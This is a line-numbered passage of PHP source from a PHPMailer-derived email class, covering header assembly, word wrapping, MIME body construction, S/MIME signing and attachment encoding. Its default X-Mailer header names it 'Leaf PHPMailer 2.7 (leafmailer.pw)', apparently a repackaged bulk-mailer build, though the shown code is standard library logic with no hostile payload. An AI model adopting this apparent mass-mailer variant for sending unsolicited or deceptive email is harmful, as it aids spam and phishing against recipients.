  1809.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1810.     }
  1811.  
  1812.     /**
  1813.      * Format an address for use in a message header.
  1814.      * @access public
  1815.      * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1816.      *      like array('[email protected]', 'Joe User')
  1817.      * @return string
  1818.      */
  1819.     public function addrFormat($addr)
  1820.     {
  1821.         if (empty($addr[1])) { // No name provided
  1822.             return $this->secureHeader($addr[0]);
  1823.         } else {
  1824.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1825.                 $addr[0]
  1826.             ) . '>';
  1827.         }
  1828.     }
  1829.  
  1830.     /**
  1831.      * Word-wrap message.
  1832.      * For use with mailers that do not automatically perform wrapping
  1833.      * and for quoted-printable encoded messages.
  1834.      * Original written by philippe.
  1835.      * @param string $message The message to wrap
  1836.      * @param integer $length The line length to wrap to
  1837.      * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1838.      * @access public
  1839.      * @return string
  1840.      */
  1841.     public function wrapText($message, $length, $qp_mode = false)
  1842.     {
  1843.         if ($qp_mode) {
  1844.             $soft_break = sprintf(' =%s', $this->LE);
  1845.         } else {
  1846.             $soft_break = $this->LE;
  1847.         }
  1848.         // If utf-8 encoding is used, we will need to make sure we don't
  1849.         // split multibyte characters when we wrap
  1850.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1851.         $lelen = strlen($this->LE);
  1852.         $crlflen = strlen(self::CRLF);
  1853.  
  1854.         $message = $this->fixEOL($message);
  1855.         //Remove a trailing line break
  1856.         if (substr($message, -$lelen) == $this->LE) {
  1857.             $message = substr($message, 0, -$lelen);
  1858.         }
  1859.  
  1860.         //Split message into lines
  1861.         $lines = explode($this->LE, $message);
  1862.         //Message will be rebuilt in here
  1863.         $message = '';
  1864.         foreach ($lines as $line) {
  1865.             $words = explode(' ', $line);
  1866.             $buf = '';
  1867.             $firstword = true;
  1868.             foreach ($words as $word) {
  1869.                 if ($qp_mode and (strlen($word) > $length)) {
  1870.                     $space_left = $length - strlen($buf) - $crlflen;
  1871.                     if (!$firstword) {
  1872.                         if ($space_left > 20) {
  1873.                             $len = $space_left;
  1874.                             if ($is_utf8) {
  1875.                                 $len = $this->utf8CharBoundary($word, $len);
  1876.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1877.                                 $len--;
  1878.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1879.                                 $len -= 2;
  1880.                             }
  1881.                             $part = substr($word, 0, $len);
  1882.                             $word = substr($word, $len);
  1883.                             $buf .= ' ' . $part;
  1884.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1885.                         } else {
  1886.                             $message .= $buf . $soft_break;
  1887.                         }
  1888.                         $buf = '';
  1889.                     }
  1890.                     while (strlen($word) > 0) {
  1891.                         if ($length <= 0) {
  1892.                             break;
  1893.                         }
  1894.                         $len = $length;
  1895.                         if ($is_utf8) {
  1896.                             $len = $this->utf8CharBoundary($word, $len);
  1897.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1898.                             $len--;
  1899.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1900.                             $len -= 2;
  1901.                         }
  1902.                         $part = substr($word, 0, $len);
  1903.                         $word = substr($word, $len);
  1904.  
  1905.                         if (strlen($word) > 0) {
  1906.                             $message .= $part . sprintf('=%s', self::CRLF);
  1907.                         } else {
  1908.                             $buf = $part;
  1909.                         }
  1910.                     }
  1911.                 } else {
  1912.                     $buf_o = $buf;
  1913.                     if (!$firstword) {
  1914.                         $buf .= ' ';
  1915.                     }
  1916.                     $buf .= $word;
  1917.  
  1918.                     if (strlen($buf) > $length and $buf_o != '') {
  1919.                         $message .= $buf_o . $soft_break;
  1920.                         $buf = $word;
  1921.                     }
  1922.                 }
  1923.                 $firstword = false;
  1924.             }
  1925.             $message .= $buf . self::CRLF;
  1926.         }
  1927.  
  1928.         return $message;
  1929.     }
  1930.  
  1931.     /**
  1932.      * Find the last character boundary prior to $maxLength in a utf-8
  1933.      * quoted-printable encoded string.
  1934.      * Original written by Colin Brown.
  1935.      * @access public
  1936.      * @param string $encodedText utf-8 QP text
  1937.      * @param integer $maxLength Find the last character boundary prior to this length
  1938.      * @return integer
  1939.      */
  1940.     public function utf8CharBoundary($encodedText, $maxLength)
  1941.     {
  1942.         $foundSplitPos = false;
  1943.         $lookBack = 3;
  1944.         while (!$foundSplitPos) {
  1945.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1946.             $encodedCharPos = strpos($lastChunk, '=');
  1947.             if (false !== $encodedCharPos) {
  1948.                 // Found start of encoded character byte within $lookBack block.
  1949.                 // Check the encoded byte value (the 2 chars after the '=')
  1950.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1951.                 $dec = hexdec($hex);
  1952.                 if ($dec < 128) {
  1953.                     // Single byte character.
  1954.                     // If the encoded char was found at pos 0, it will fit
  1955.                     // otherwise reduce maxLength to start of the encoded char
  1956.                     if ($encodedCharPos > 0) {
  1957.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1958.                     }
  1959.                     $foundSplitPos = true;
  1960.                 } elseif ($dec >= 192) {
  1961.                     // First byte of a multi byte character
  1962.                     // Reduce maxLength to split at start of character
  1963.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1964.                     $foundSplitPos = true;
  1965.                 } elseif ($dec < 192) {
  1966.                     // Middle byte of a multi byte character, look further back
  1967.                     $lookBack += 3;
  1968.                 }
  1969.             } else {
  1970.                 // No encoded character found
  1971.                 $foundSplitPos = true;
  1972.             }
  1973.         }
  1974.         return $maxLength;
  1975.     }
  1976.  
  1977.     /**
  1978.      * Apply word wrapping to the message body.
  1979.      * Wraps the message body to the number of chars set in the WordWrap property.
  1980.      * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1981.      * This is called automatically by createBody(), so you don't need to call it yourself.
  1982.      * @access public
  1983.      * @return void
  1984.      */
  1985.     public function setWordWrap()
  1986.     {
  1987.         if ($this->WordWrap < 1) {
  1988.             return;
  1989.         }
  1990.  
  1991.         switch ($this->message_type) {
  1992.             case 'alt':
  1993.             case 'alt_inline':
  1994.             case 'alt_attach':
  1995.             case 'alt_inline_attach':
  1996.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1997.                 break;
  1998.             default:
  1999.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2000.                 break;
  2001.         }
  2002.     }
  2003.  
  2004.     /**
  2005.      * Assemble message headers.
  2006.      * @access public
  2007.      * @return string The assembled headers
  2008.      */
  2009.     public function createHeader()
  2010.     {
  2011.         $result = '';
  2012.  
  2013.         if ($this->MessageDate == '') {
  2014.             $this->MessageDate = self::rfcDate();
  2015.         }
  2016.         $result .= $this->headerLine('Date', $this->MessageDate);
  2017.  
  2018.         // To be created automatically by mail()
  2019.         if ($this->SingleTo) {
  2020.             if ($this->Mailer != 'mail') {
  2021.                 foreach ($this->to as $toaddr) {
  2022.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  2023.                 }
  2024.             }
  2025.         } else {
  2026.             if (count($this->to) > 0) {
  2027.                 if ($this->Mailer != 'mail') {
  2028.                     $result .= $this->addrAppend('To', $this->to);
  2029.                 }
  2030.             } elseif (count($this->cc) == 0) {
  2031.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2032.             }
  2033.         }
  2034.  
  2035.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2036.  
  2037.         // sendmail and mail() extract Cc from the header before sending
  2038.         if (count($this->cc) > 0) {
  2039.             $result .= $this->addrAppend('Cc', $this->cc);
  2040.         }
  2041.  
  2042.         // sendmail and mail() extract Bcc from the header before sending
  2043.         if ((
  2044.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2045.             )
  2046.             and count($this->bcc) > 0
  2047.         ) {
  2048.             $result .= $this->addrAppend('Bcc', $this->bcc);
  2049.         }
  2050.  
  2051.         if (count($this->ReplyTo) > 0) {
  2052.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2053.         }
  2054.  
  2055.         // mail() sets the subject itself
  2056.         if ($this->Mailer != 'mail') {
  2057.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2058.         }
  2059.  
  2060.         if ($this->MessageID != '') {
  2061.             $this->lastMessageID = $this->MessageID;
  2062.         } else {
  2063.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2064.         }
  2065.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2066.         if (!is_null($this->Priority)) {
  2067.             $result .= $this->headerLine('X-Priority', $this->Priority);
  2068.         }
  2069.         if ($this->XMailer == '') {
  2070.             $result .= $this->headerLine(
  2071.                 'X-Mailer',
  2072.                 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  2073.             );
  2074.         } else {
  2075.             $myXmailer = trim($this->XMailer);
  2076.             if ($myXmailer) {
  2077.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  2078.             }
  2079.         }
  2080.  
  2081.         if ($this->ConfirmReadingTo != '') {
  2082.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2083.         }
  2084.  
  2085.         // Add custom headers
  2086.         foreach ($this->CustomHeader as $header) {
  2087.             $result .= $this->headerLine(
  2088.                 trim($header[0]),
  2089.                 $this->encodeHeader(trim($header[1]))
  2090.             );
  2091.         }
  2092.         if (!$this->sign_key_file) {
  2093.             $result .= $this->headerLine('MIME-Version', '1.0');
  2094.             $result .= $this->getMailMIME();
  2095.         }
  2096.  
  2097.         return $result;
  2098.     }
  2099.  
  2100.     /**
  2101.      * Get the message MIME type headers.
  2102.      * @access public
  2103.      * @return string
  2104.      */
  2105.     public function getMailMIME()
  2106.     {
  2107.         $result = '';
  2108.         $ismultipart = true;
  2109.         switch ($this->message_type) {
  2110.             case 'inline':
  2111.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2112.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2113.                 break;
  2114.             case 'attach':
  2115.             case 'inline_attach':
  2116.             case 'alt_attach':
  2117.             case 'alt_inline_attach':
  2118.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2119.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2120.                 break;
  2121.             case 'alt':
  2122.             case 'alt_inline':
  2123.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2124.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2125.                 break;
  2126.             default:
  2127.                 // Catches case 'plain': and case '':
  2128.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2129.                 $ismultipart = false;
  2130.                 break;
  2131.         }
  2132.         // RFC1341 part 5 says 7bit is assumed if not specified
  2133.         if ($this->Encoding != '7bit') {
  2134.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2135.             if ($ismultipart) {
  2136.                 if ($this->Encoding == '8bit') {
  2137.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2138.                 }
  2139.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2140.             } else {
  2141.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2142.             }
  2143.         }
  2144.  
  2145.         if ($this->Mailer != 'mail') {
  2146.             $result .= $this->LE;
  2147.         }
  2148.  
  2149.         return $result;
  2150.     }
  2151.  
  2152.     /**
  2153.      * Returns the whole MIME message.
  2154.      * Includes complete headers and body.
  2155.      * Only valid post preSend().
  2156.      * @see PHPMailer::preSend()
  2157.      * @access public
  2158.      * @return string
  2159.      */
  2160.     public function getSentMIMEMessage()
  2161.     {
  2162.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2163.     }
  2164.  
  2165.     /**
  2166.      * Assemble the message body.
  2167.      * Returns an empty string on failure.
  2168.      * @access public
  2169.      * @throws phpmailerException
  2170.      * @return string The assembled message body
  2171.      */
  2172.     public function createBody()
  2173.     {
  2174.         $body = '';
  2175.         //Create unique IDs and preset boundaries
  2176.         $this->uniqueid = md5(uniqid(time()));
  2177.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  2178.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  2179.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  2180.  
  2181.         if ($this->sign_key_file) {
  2182.             $body .= $this->getMailMIME() . $this->LE;
  2183.         }
  2184.  
  2185.         $this->setWordWrap();
  2186.  
  2187.         $bodyEncoding = $this->Encoding;
  2188.         $bodyCharSet = $this->CharSet;
  2189.         //Can we do a 7-bit downgrade?
  2190.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2191.             $bodyEncoding = '7bit';
  2192.             $bodyCharSet = 'us-ascii';
  2193.         }
  2194.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2195.         //change to quoted-printable transfer encoding
  2196.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2197.             $this->Encoding = 'quoted-printable';
  2198.             $bodyEncoding = 'quoted-printable';
  2199.         }
  2200.  
  2201.         $altBodyEncoding = $this->Encoding;
  2202.         $altBodyCharSet = $this->CharSet;
  2203.         //Can we do a 7-bit downgrade?
  2204.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2205.             $altBodyEncoding = '7bit';
  2206.             $altBodyCharSet = 'us-ascii';
  2207.         }
  2208.         //If lines are too long, and we're not already using an encoding that will shorten them,
  2209.         //change to quoted-printable transfer encoding
  2210.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2211.             $altBodyEncoding = 'quoted-printable';
  2212.         }
  2213.         //Use this as a preamble in all multipart message types
  2214.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2215.         switch ($this->message_type) {
  2216.             case 'inline':
  2217.                 $body .= $mimepre;
  2218.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2219.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2220.                 $body .= $this->LE . $this->LE;
  2221.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  2222.                 break;
  2223.             case 'attach':
  2224.                 $body .= $mimepre;
  2225.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2226.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2227.                 $body .= $this->LE . $this->LE;
  2228.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2229.                 break;
  2230.             case 'inline_attach':
  2231.                 $body .= $mimepre;
  2232.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2233.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2234.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2235.                 $body .= $this->LE;
  2236.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2237.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2238.                 $body .= $this->LE . $this->LE;
  2239.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2240.                 $body .= $this->LE;
  2241.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2242.                 break;
  2243.             case 'alt':
  2244.                 $body .= $mimepre;
  2245.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2246.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2247.                 $body .= $this->LE . $this->LE;
  2248.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2249.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2250.                 $body .= $this->LE . $this->LE;
  2251.                 if (!empty($this->Ical)) {
  2252.                     $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2253.                     $body .= $this->encodeString($this->Ical, $this->Encoding);
  2254.                     $body .= $this->LE . $this->LE;
  2255.                 }
  2256.                 $body .= $this->endBoundary($this->boundary[1]);
  2257.                 break;
  2258.             case 'alt_inline':
  2259.                 $body .= $mimepre;
  2260.                 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2261.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2262.                 $body .= $this->LE . $this->LE;
  2263.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2264.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2265.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2266.                 $body .= $this->LE;
  2267.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2268.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2269.                 $body .= $this->LE . $this->LE;
  2270.                 $body .= $this->attachAll('inline', $this->boundary[2]);
  2271.                 $body .= $this->LE;
  2272.                 $body .= $this->endBoundary($this->boundary[1]);
  2273.                 break;
  2274.             case 'alt_attach':
  2275.                 $body .= $mimepre;
  2276.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2277.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2278.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2279.                 $body .= $this->LE;
  2280.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2281.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2282.                 $body .= $this->LE . $this->LE;
  2283.                 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2284.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2285.                 $body .= $this->LE . $this->LE;
  2286.                 $body .= $this->endBoundary($this->boundary[2]);
  2287.                 $body .= $this->LE;
  2288.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2289.                 break;
  2290.             case 'alt_inline_attach':
  2291.                 $body .= $mimepre;
  2292.                 $body .= $this->textLine('--' . $this->boundary[1]);
  2293.                 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2294.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2295.                 $body .= $this->LE;
  2296.                 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2297.                 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2298.                 $body .= $this->LE . $this->LE;
  2299.                 $body .= $this->textLine('--' . $this->boundary[2]);
  2300.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2301.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2302.                 $body .= $this->LE;
  2303.                 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2304.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2305.                 $body .= $this->LE . $this->LE;
  2306.                 $body .= $this->attachAll('inline', $this->boundary[3]);
  2307.                 $body .= $this->LE;
  2308.                 $body .= $this->endBoundary($this->boundary[2]);
  2309.                 $body .= $this->LE;
  2310.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  2311.                 break;
  2312.             default:
  2313.                 // catch case 'plain' and case ''
  2314.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  2315.                 break;
  2316.         }
  2317.  
  2318.         if ($this->isError()) {
  2319.             $body = '';
  2320.         } elseif ($this->sign_key_file) {
  2321.             try {
  2322.                 if (!defined('PKCS7_TEXT')) {
  2323.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2324.                 }
  2325.                 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2326.                 $file = tempnam(sys_get_temp_dir(), 'mail');
  2327.                 if (false === file_put_contents($file, $body)) {
  2328.                     throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2329.                 }
  2330.                 $signed = tempnam(sys_get_temp_dir(), 'signed');
  2331.                 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2332.                 if (empty($this->sign_extracerts_file)) {
  2333.                     $sign = @openssl_pkcs7_sign(
  2334.                         $file,
  2335.                         $signed,
  2336.                         'file://' . realpath($this->sign_cert_file),
  2337.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2338.                         null
  2339.                     );
  2340.                 } else {
  2341.                     $sign = @openssl_pkcs7_sign(
  2342.                         $file,
  2343.                         $signed,
  2344.                         'file://' . realpath($this->sign_cert_file),
  2345.                         array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2346.                         null,
  2347.                         PKCS7_DETACHED,
  2348.                         $this->sign_extracerts_file
  2349.                     );
  2350.                 }
  2351.                 if ($sign) {
  2352.                     @unlink($file);
  2353.                     $body = file_get_contents($signed);
  2354.                     @unlink($signed);
  2355.                     //The message returned by openssl contains both headers and body, so need to split them up
  2356.                     $parts = explode("\n\n", $body, 2);
  2357.                     $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2358.                     $body = $parts[1];
  2359.                 } else {
  2360.                     @unlink($file);
  2361.                     @unlink($signed);
  2362.                     throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2363.                 }
  2364.             } catch (phpmailerException $exc) {
  2365.                 $body = '';
  2366.                 if ($this->exceptions) {
  2367.                     throw $exc;
  2368.                 }
  2369.             }
  2370.         }
  2371.         return $body;
  2372.     }
  2373.  
  2374.     /**
  2375.      * Return the start of a message boundary.
  2376.      * @access protected
  2377.      * @param string $boundary
  2378.      * @param string $charSet
  2379.      * @param string $contentType
  2380.      * @param string $encoding
  2381.      * @return string
  2382.      */
  2383.     protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2384.     {
  2385.         $result = '';
  2386.         if ($charSet == '') {
  2387.             $charSet = $this->CharSet;
  2388.         }
  2389.         if ($contentType == '') {
  2390.             $contentType = $this->ContentType;
  2391.         }
  2392.         if ($encoding == '') {
  2393.             $encoding = $this->Encoding;
  2394.         }
  2395.         $result .= $this->textLine('--' . $boundary);
  2396.         $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2397.         $result .= $this->LE;
  2398.         // RFC1341 part 5 says 7bit is assumed if not specified
  2399.         if ($encoding != '7bit') {
  2400.             $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2401.         }
  2402.         $result .= $this->LE;
  2403.  
  2404.         return $result;
  2405.     }
  2406.  
  2407.     /**
  2408.      * Return the end of a message boundary.
  2409.      * @access protected
  2410.      * @param string $boundary
  2411.      * @return string
  2412.      */
  2413.     protected function endBoundary($boundary)
  2414.     {
  2415.         return $this->LE . '--' . $boundary . '--' . $this->LE;
  2416.     }
  2417.  
  2418.     /**
  2419.      * Set the message type.
  2420.      * PHPMailer only supports some preset message types,
  2421.      * not arbitrary MIME structures.
  2422.      * @access protected
  2423.      * @return void
  2424.      */
  2425.     protected function setMessageType()
  2426.     {
  2427.         $type = array();
  2428.         if ($this->alternativeExists()) {
  2429.             $type[] = 'alt';
  2430.         }
  2431.         if ($this->inlineImageExists()) {
  2432.             $type[] = 'inline';
  2433.         }
  2434.         if ($this->attachmentExists()) {
  2435.             $type[] = 'attach';
  2436.         }
  2437.         $this->message_type = implode('_', $type);
  2438.         if ($this->message_type == '') {
  2439.             $this->message_type = 'plain';
  2440.         }
  2441.     }
  2442.  
  2443.     /**
  2444.      * Format a header line.
  2445.      * @access public
  2446.      * @param string $name
  2447.      * @param string $value
  2448.      * @return string
  2449.      */
  2450.     public function headerLine($name, $value)
  2451.     {
  2452.         return $name . ': ' . $value . $this->LE;
  2453.     }
  2454.  
  2455.     /**
  2456.      * Return a formatted mail line.
  2457.      * @access public
  2458.      * @param string $value
  2459.      * @return string
  2460.      */
  2461.     public function textLine($value)
  2462.     {
  2463.         return $value . $this->LE;
  2464.     }
  2465.  
  2466.     /**
  2467.      * Add an attachment from a path on the filesystem.
  2468.      * Returns false if the file could not be found or read.
  2469.      * @param string $path Path to the attachment.
  2470.      * @param string $name Overrides the attachment name.
  2471.      * @param string $encoding File encoding (see $Encoding).
  2472.      * @param string $type File extension (MIME) type.
  2473.      * @param string $disposition Disposition to use
  2474.      * @throws phpmailerException
  2475.      * @return boolean
  2476.      */
  2477.     public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2478.     {
  2479.         try {
  2480.             if (!@is_file($path)) {
  2481.                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2482.             }
  2483.  
  2484.             // If a MIME type is not specified, try to work it out from the file name
  2485.             if ($type == '') {
  2486.                 $type = self::filenameToType($path);
  2487.             }
  2488.  
  2489.             $filename = basename($path);
  2490.             if ($name == '') {
  2491.                 $name = $filename;
  2492.             }
  2493.  
  2494.             $this->attachment[] = array(
  2495.                 0 => $path,
  2496.                 1 => $filename,
  2497.                 2 => $name,
  2498.                 3 => $encoding,
  2499.                 4 => $type,
  2500.                 5 => false, // isStringAttachment
  2501.                 6 => $disposition,
  2502.                 7 => 0
  2503.             );
  2504.  
  2505.         } catch (phpmailerException $exc) {
  2506.             $this->setError($exc->getMessage());
  2507.             $this->edebug($exc->getMessage());
  2508.             if ($this->exceptions) {
  2509.                 throw $exc;
  2510.             }
  2511.             return false;
  2512.         }
  2513.         return true;
  2514.     }
  2515.  
  2516.     /**
  2517.      * Return the array of attachments.
  2518.      * @return array
  2519.      */
  2520.     public function getAttachments()
  2521.     {
  2522.         return $this->attachment;
  2523.     }
  2524.  
  2525.     /**
  2526.      * Attach all file, string, and binary attachments to the message.
  2527.      * Returns an empty string on failure.
  2528.      * @access protected
  2529.      * @param string $disposition_type
  2530.      * @param string $boundary
  2531.      * @return string
  2532.      */
  2533.     protected function attachAll($disposition_type, $boundary)
  2534.     {
  2535.         // Return text of body
  2536.         $mime = array();
  2537.         $cidUniq = array();
  2538.         $incl = array();
  2539.  
  2540.         // Add all attachments
  2541.         foreach ($this->attachment as $attachment) {
  2542.             // Check if it is a valid disposition_filter
  2543.             if ($attachment[6] == $disposition_type) {
  2544.                 // Check for string attachment
  2545.                 $string = '';
  2546.                 $path = '';
  2547.                 $bString = $attachment[5];
  2548.                 if ($bString) {
  2549.                     $string = $attachment[0];
  2550.                 } else {
  2551.                     $path = $attachment[0];
  2552.                 }
  2553.  
  2554.                 $inclhash = md5(serialize($attachment));
  2555.                 if (in_array($inclhash, $incl)) {
  2556.                     continue;
  2557.                 }
  2558.                 $incl[] = $inclhash;
  2559.                 $name = $attachment[2];
  2560.                 $encoding = $attachment[3];
  2561.                 $type = $attachment[4];
  2562.                 $disposition = $attachment[6];
  2563.                 $cid = $attachment[7];
  2564.                 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2565.                     continue;
  2566.                 }
  2567.                 $cidUniq[$cid] = true;
  2568.  
  2569.                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2570.                 //Only include a filename property if we have one
  2571.                 if (!empty($name)) {
  2572.                     $mime[] = sprintf(
  2573.                         'Content-Type: %s; name="%s"%s',
  2574.                         $type,
  2575.                         $this->encodeHeader($this->secureHeader($name)),
  2576.                         $this->LE
  2577.                     );
  2578.                 } else {
  2579.                     $mime[] = sprintf(
  2580.                         'Content-Type: %s%s',
  2581.                         $type,
  2582.                         $this->LE
  2583.                     );
  2584.                 }
  2585.                 // RFC1341 part 5 says 7bit is assumed if not specified
  2586.                 if ($encoding != '7bit') {
  2587.                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2588.                 }
  2589.  
  2590.                 if ($disposition == 'inline') {
  2591.                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2592.                 }
  2593.  
  2594.                 // If a filename contains any of these chars, it should be quoted,
  2595.                 // but not otherwise: RFC2183 & RFC2045 5.1
  2596.                 // Fixes a warning in IETF's msglint MIME checker
  2597.                 // Allow for bypassing the Content-Disposition header totally
  2598.                 if (!(empty($disposition))) {
  2599.                     $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2600.                     if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2601.                         $mime[] = sprintf(
  2602.                             'Content-Disposition: %s; filename="%s"%s',
  2603.                             $disposition,
  2604.                             $encoded_name,
  2605.                             $this->LE . $this->LE
  2606.                         );
  2607.                     } else {
  2608.                         if (!empty($encoded_name)) {
  2609.                             $mime[] = sprintf(
  2610.                                 'Content-Disposition: %s; filename=%s%s',
  2611.                                 $disposition,
  2612.                                 $encoded_name,
  2613.                                 $this->LE . $this->LE
  2614.                             );
  2615.                         } else {
  2616.                             $mime[] = sprintf(
  2617.                                 'Content-Disposition: %s%s',
  2618.                                 $disposition,
  2619.                                 $this->LE . $this->LE
  2620.                             );
  2621.                         }
  2622.                     }
  2623.                 } else {
  2624.                     $mime[] = $this->LE;
  2625.                 }
  2626.  
  2627.                 // Encode as string attachment
  2628.                 if ($bString) {
  2629.                     $mime[] = $this->encodeString($string, $encoding);
  2630.                     if ($this->isError()) {
  2631.                         return '';
  2632.                     }
  2633.                     $mime[] = $this->LE . $this->LE;
  2634.                 } else {
  2635.                     $mime[] = $this->encodeFile($path, $encoding);
  2636.                     if ($this->isError()) {
  2637.                         return '';
  2638.                     }
  2639.                     $mime[] = $this->LE . $this->LE;
  2640.                 }
  2641.             }
  2642.         }
  2643.  
  2644.         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2645.  
  2646.         return implode('', $mime);
  2647.     }
  2648.  
  2649.     /**
